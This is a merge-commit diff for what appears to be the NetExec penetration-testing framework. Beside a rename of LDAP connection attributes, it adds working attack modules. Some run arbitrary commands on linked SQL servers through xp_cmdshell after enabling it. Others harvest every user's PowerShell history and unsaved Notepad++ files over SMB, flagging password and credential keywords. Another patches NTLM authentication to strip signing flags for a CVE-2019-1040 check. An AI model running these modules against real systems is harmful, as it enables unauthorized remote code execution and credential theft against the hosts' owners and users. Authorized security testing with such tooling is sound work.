Merge branch 'main' into patch-8

This commit is contained in:
mpgn
2024-12-31 10:02:31 +01:00
committed by GitHub
40 changed files with 962 additions and 255 deletions
+1 -1
View File
@@ -384,7 +384,7 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+3 -3
View File
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
+2 -2
View File
@@ -274,8 +274,8 @@ class NXCModule:
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
+46
View File
@@ -0,0 +1,46 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+53
View File
@@ -0,0 +1,53 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+40
View File
@@ -0,0 +1,40 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
"""
name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")
def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
+1 -1
View File
@@ -21,7 +21,7 @@ class NXCModule:
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
+42
View File
@@ -0,0 +1,42 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
+1 -1
View File
@@ -121,7 +121,7 @@ class NXCModule:
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
list_sites = connection.ldap_connection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
+1 -1
View File
@@ -68,7 +68,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+63
View File
@@ -0,0 +1,63 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""
name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+44
View File
@@ -0,0 +1,44 @@
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.run_xp_cmdshell(self.command)
def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+1 -1
View File
@@ -75,5 +75,5 @@ class NXCModule:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.error(f"Failed to execute command: {command}, Error: {e}")
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
self.context.log.display("Commands executed successfully, check the listener for results")
+50
View File
@@ -0,0 +1,50 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
# Finds notepad++ unsaved backup files
# Module by @Defte_
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
found = 0
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
file_path = f"{notepad_backup_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive:
found += 1
file_path = f"{notepad_backup_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"Notepad++ backup written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
except Exception:
pass
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
+43 -56
View File
@@ -1,73 +1,60 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
from io import BytesIO
class NXCModule:
"""Module by @357384n"""
# Module by @357384n
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
def options(self, _, module_options):
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")
def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands
def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")
# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
context.log.info(f"Export enabled, writing history to {path}")
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content]
if len(keywords):
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception:
pass
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
def on_login(self, context, connection):
try:
ldap_connection = connection.ldapConnection
ldap_connection = connection.ldap_connection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
+10 -4
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -39,7 +39,8 @@ class NXCModule:
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
context.log.info(f"Binding to {stringbinding!r}")
@@ -55,7 +56,7 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
@@ -101,7 +102,12 @@ class NXCModule:
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
raise e
context.log.fail(f"Unexpected error: {e}")
except DCERPCException as e:
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
context.log.info("Not vulnerable :'(")
return False
context.log.fail(f"Unexpected error: {e}")
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
def on_login(self, context, connection):
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
+192
View File
@@ -0,0 +1,192 @@
# Original Author:
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
#
# Modify by:
# XiaoliChan (@Memory_before)
import calendar
import struct
import time
import random
import string
from impacket import ntlm
from impacket import nt_errors
from impacket.smbconnection import SessionError
class NXCModule:
name = "remove-mic"
description = "Check if host vulnerable to CVE-2019-1040"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
try:
connection.conn.reconnect()
except SessionError as e:
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
else:
context.log.info("Unexpected Exception while authentication")
else:
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
class Modify_Func:
# Slightly modified version of impackets computeResponseNTLMv2
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
responseServerVersion = b"\x01"
hiResponseServerVersion = b"\x01"
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
av_pairs = ntlm.AV_PAIRS(serverName)
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
# get access denied
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
# level
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
serverName = av_pairs.getData()
if len(channel_binding_value) > 0:
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
# Format according to:
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
temp = responseServerVersion # RespType 1 byte
temp += hiResponseServerVersion # HiRespType 1 byte
temp += b"\x00" * 2 # Reserved1 2 bytes
temp += b"\x00" * 4 # Reserved2 4 bytes
temp += aTime # TimeStamp 8 bytes
temp += clientChallenge # ChallengeFromClient 8 bytes
temp += b"\x00" * 4 # Reserved 4 bytes
temp += av_pairs.getData() # AvPairs variable
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
ntChallengeResponse = ntProofStr + temp
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
if user == "" and password == "":
# Special case for anonymous authentication
ntChallengeResponse = ""
lmChallengeResponse = ""
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
password = ""
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode("utf-16le")
except Exception:
user = user.decode(encoding)
try:
password.encode("utf-16le")
except Exception:
password = password.decode(encoding)
try:
domain.encode("utf-16le")
except Exception:
domain = user.decode(encoding)
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1["flags"]
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
serverName = ntlmChallenge["TargetInfoFields"]
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
# Let's check the return flags
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
# drop the mic need to unset these flags
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
lmhash, nthash, use_ntlmv2)
# Special case for anonymous login
if user == "" and password == "" and lmhash == "" and nthash == "":
keyExchangeKey = b"\x00" * 16
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse["flags"] = responseFlags
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
if lmResponse == "":
ntlmChallengeResponse["lanman"] = b"\x00"
else:
ntlmChallengeResponse["lanman"] = lmResponse
ntlmChallengeResponse["ntlm"] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
+37 -7
View File
@@ -1,5 +1,10 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
class NXCModule:
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
name = "runasppl"
description = "Check if the registry value RunAsPPL is set or not"
supported_protocols = ["smb"]
@@ -14,10 +19,35 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if not p or "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
)
key_handle = ans["phkResult"]
_ = data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"RunAsPPL\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
if data is None or data not in [1, 2]:
context.log.highlight("RunAsPPL disabled")
else:
context.log.highlight("RunAsPPL enabled")
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
remote_ops.finish()
+8 -8
View File
@@ -49,7 +49,7 @@ class NXCModule:
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
@@ -58,7 +58,7 @@ class NXCModule:
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
